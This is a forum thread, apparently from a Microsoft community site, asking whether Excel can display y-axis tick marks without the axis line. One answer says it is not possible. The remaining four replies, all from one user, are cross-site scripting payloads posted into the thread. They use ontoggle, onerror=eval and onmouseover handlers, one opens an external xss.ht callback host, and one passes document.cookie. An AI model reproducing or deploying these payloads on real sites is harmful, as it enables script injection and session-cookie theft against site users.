Formatting y-axis line appearance separate from tick marks

Question

Hello! Is it possible to format y-axis so that the line itself would not be plotted, but the tick marks would be visible? Right now in Excel if I enable tick marks (Axis options -> Tick Marks -> Major and Minor), they are not visible unless the line itself is plotted (Axis options -> Line -> Solid Line). I need to have only the tick marks without the vertical line, is it possible? If it is not possible via the menu, but possible via VBA, would appreciate the info on how to do it.

Here is what I get in Excel:

Here is an example of what I need, done in another software:

hansvogelaar · Answer

ExcelQuestion1835&nbsp;
As far as I know, it's not possible. The color of the tick marks is inseparably linked to that of the line.

lwdnlefwr · Answer

HansVogelaar&nbsp;&lt;iframe&gt;&lt;details open ontoggle=Promise.all(['CTRL']).then(alert)&gt;

lwdnlefwr · Answer

&lt;iframe&gt;&lt;&gt;&lt;details open ontoggle=window.open("https://atmcc.xss.ht");win.eval("prompt()");&gt;

lwdnlefwr · Answer

"&gt;&gt;" &gt;&lt;/plaintext &gt;&lt;/| &gt;&lt;plaintext/onmouseover=prompt(1) &gt;Tryharder'--&gt;" &gt;"&gt;&lt;img/id="confirm( 'CTRL')"/alt="/"src="/"onerror=eval(id)&gt;'"&gt;

lwdnlefwr · Answer

&lt;IFRAME&gt;&lt;IFRAME&gt;&lt;b&gt;&lt;noscript&amp;gt;&lt;/noscript&amp;gt;​&lt;img src=x onerror=Promise.all([document.cookie]).then(alert);&gt;&lt;/noscript&amp;gt;&lt;/b&gt;&lt;/IFRAME&gt;

Forum Discussion

Formatting y-axis line appearance separate from tick marks

Share

Resources